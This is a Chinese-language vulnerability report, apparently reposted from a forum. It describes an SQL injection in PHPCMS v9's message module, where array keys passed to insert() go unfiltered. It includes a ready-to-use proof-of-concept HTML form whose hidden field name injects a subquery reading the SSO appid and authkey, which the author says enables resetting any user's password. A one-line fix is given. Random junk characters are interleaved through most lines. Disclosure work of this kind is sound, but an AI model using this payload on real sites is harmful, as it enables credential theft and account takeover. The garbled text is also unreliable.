|
简要描述:
* k8 }. A& \ P8 O
; h V$ X' b& i第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
' P/ o; l0 D% r; U ]) _& s
, b3 b& v8 q. L. o% \0 i' D明天再更新下一个漏洞。
7 } h# D/ q! y) _详细说明:
3 F7 m$ m3 Y/ z( ?1 D* A# Y+ h% C+ l在/phpcms9/phpcms/modules/message/index.php中有代码如下:
3 p1 o) m/ M W. ~ H5 J: B! A2 `9 l& v) K9 ?& ^
$messageid = $this->message_db->insert($_POST['info'],true);! j E0 g& ?7 s& {& Z- ^# p# z% R
0 W! ?& k& C) ~
1 H! G! R: e% R* [. z. ^3 D: Yinsert方法是key value的,代码如下:6 C0 I$ c; J5 s$ a( {$ |
( t. }0 j7 {4 K) dpublic function insert($data, $table, $return_insert_id = false, $replace = false) {
( K* l/ V* U1 F" \ if(!is_array( $data ) || $table == '' || count($data) == 0) {! M' ~, g) ^3 ~2 ]. Z' z
return false;
; H! w7 P- A8 w& e/ e. V* I: A' \ }- {$ K( O" H5 _
1 f/ u4 Z' v1 l0 H $fielddata = array_keys($data);
' I" m% L8 F& Y, Q $valuedata = array_values($data);
/ [0 U$ s& U0 S T0 h L0 { array_walk($fielddata, array($this, 'add_special_char'));5 N% t+ v1 R% `9 U6 e9 g4 C' I
array_walk($valuedata, array($this, 'escape_string'));
/ |$ M4 F" i$ F8 G: {* T
! z6 M( R; {- | $field = implode (',', $fielddata);: y1 J, o$ K* ^3 H% `& N
$value = implode (',', $valuedata);
+ w& }( k' `/ E8 v7 @ o1 e+ y4 P! T9 B. t. |
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
# ?4 A$ X1 ^9 E2 b0 [/ c# p# ` $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';! Y7 @( V% d" W+ p. g3 b
$return = $this->execute($sql);
1 A& Q/ O/ T1 _! `2 D4 V return $return_insert_id ? $this->insert_id() : $return;
: u9 K4 F0 v( n. P% e! u }
w$ T2 w8 ~2 [, T/ ? C" w4 `8 h2 {0 ?+ q- Y3 y$ w0 v# a) ^
& k$ n6 J* s% j8 B5 J
嗯,很遗憾的是
( S2 `, j+ q/ f: O6 {& z& V' o( {- c6 E+ f) _
array_walk($fielddata, array($this, 'add_special_char'));3 R+ S3 I5 ~, w, M; Y
* o" [* y5 ]6 S( p, z! X- i- i: |
6 p u% |9 K1 y- z. h8 Y! u D中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
# N, Q V+ m- v4 e/ @& }7 ~
n8 c% p6 M: `到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。4 R2 D( n7 F+ a) K
& H7 c- \- k/ |( V* G4 s
漏洞证明:
9 W: H _- n' ~读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。# F5 c, p$ {- U' z
% C% H6 ^& X7 N7 }' m8 n
; D/ ]+ M! m# J" O3 g, |/ r表单如下:用户名什么的得自己改一改。) s$ \) J) O0 B# N/ g( X
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">8 Y7 ]+ t! I; O* {6 s7 t( D
<table width="100%" cellspacing="0" class="table_form">
& I4 ^1 s, _& T5 H<tr>
7 z, y: G+ x9 A9 W4 X<th>标 题:</th>
% o4 [4 u8 k/ L) o<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>% O. @' A1 J5 p4 K9 J7 ?% Y1 t
</tr>
0 W# O, g! }1 S<tr>! l/ j9 T8 j6 W a# o
<th>内 容:</th>
8 A0 G0 m- q6 o M$ z9 x<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td># o% {: ^" V& E( K8 k7 i" G( C! ^1 p
</tr>! u0 K. X6 ]9 P( ]2 I1 Y& q- B
<input type="hidden" name="info[replyid]" value="2" />
1 s, f, _0 y" I* _7 R<input type="hidden" name="info[send_to_id]" value="cc" />
8 U( Z! o( `- _5 ?, ^<input type="hidden" name="info[send_from_id]" value="hh">7 V j" ]- G6 j, P9 p
<!-- 漏洞的利用重点在这里开始 -->
6 G) X$ B; \4 e6 \ E" }<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
2 ]2 A }! D9 @; \. r$ x- d% U<!-- 漏洞的利用重点在这里结束 -->
1 R/ N9 ?0 s) B9 f, u<tr>- }$ _0 h9 x6 j; r! q
<th>验证码:</th>, V$ P0 @% S+ L
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>' a" ^& B2 {. |3 i7 R" U
</tr>0 R! E* C1 k, d+ H8 \0 x
<tr>. N2 O( v5 [ f5 k+ @: |
<td></td>- y* u n2 A( ]; s) M; Q6 [7 u
<td colspan="2"><label>
- a5 j0 l3 C9 w<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>6 R$ A2 }& [7 [9 z+ z7 G
</label></td>
; g) x' P0 v* c% u+ M2 f</tr>+ g" U- w! x* c8 G1 O% {6 J
</table># u, y7 B& Z' \0 t$ j r% I* l
</form>% ^( f% C) S" x& t" W( [
在add_special_char函数内对key做过滤就可以了。5 o8 W# v5 f; M+ B7 x* z0 c( ^& i
; w5 a0 ?# ] N( o9 S& \2 _. X; ~! ~7 R7 F1 C% r7 E
% C* _. `: s/ I9 Y' U# P
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|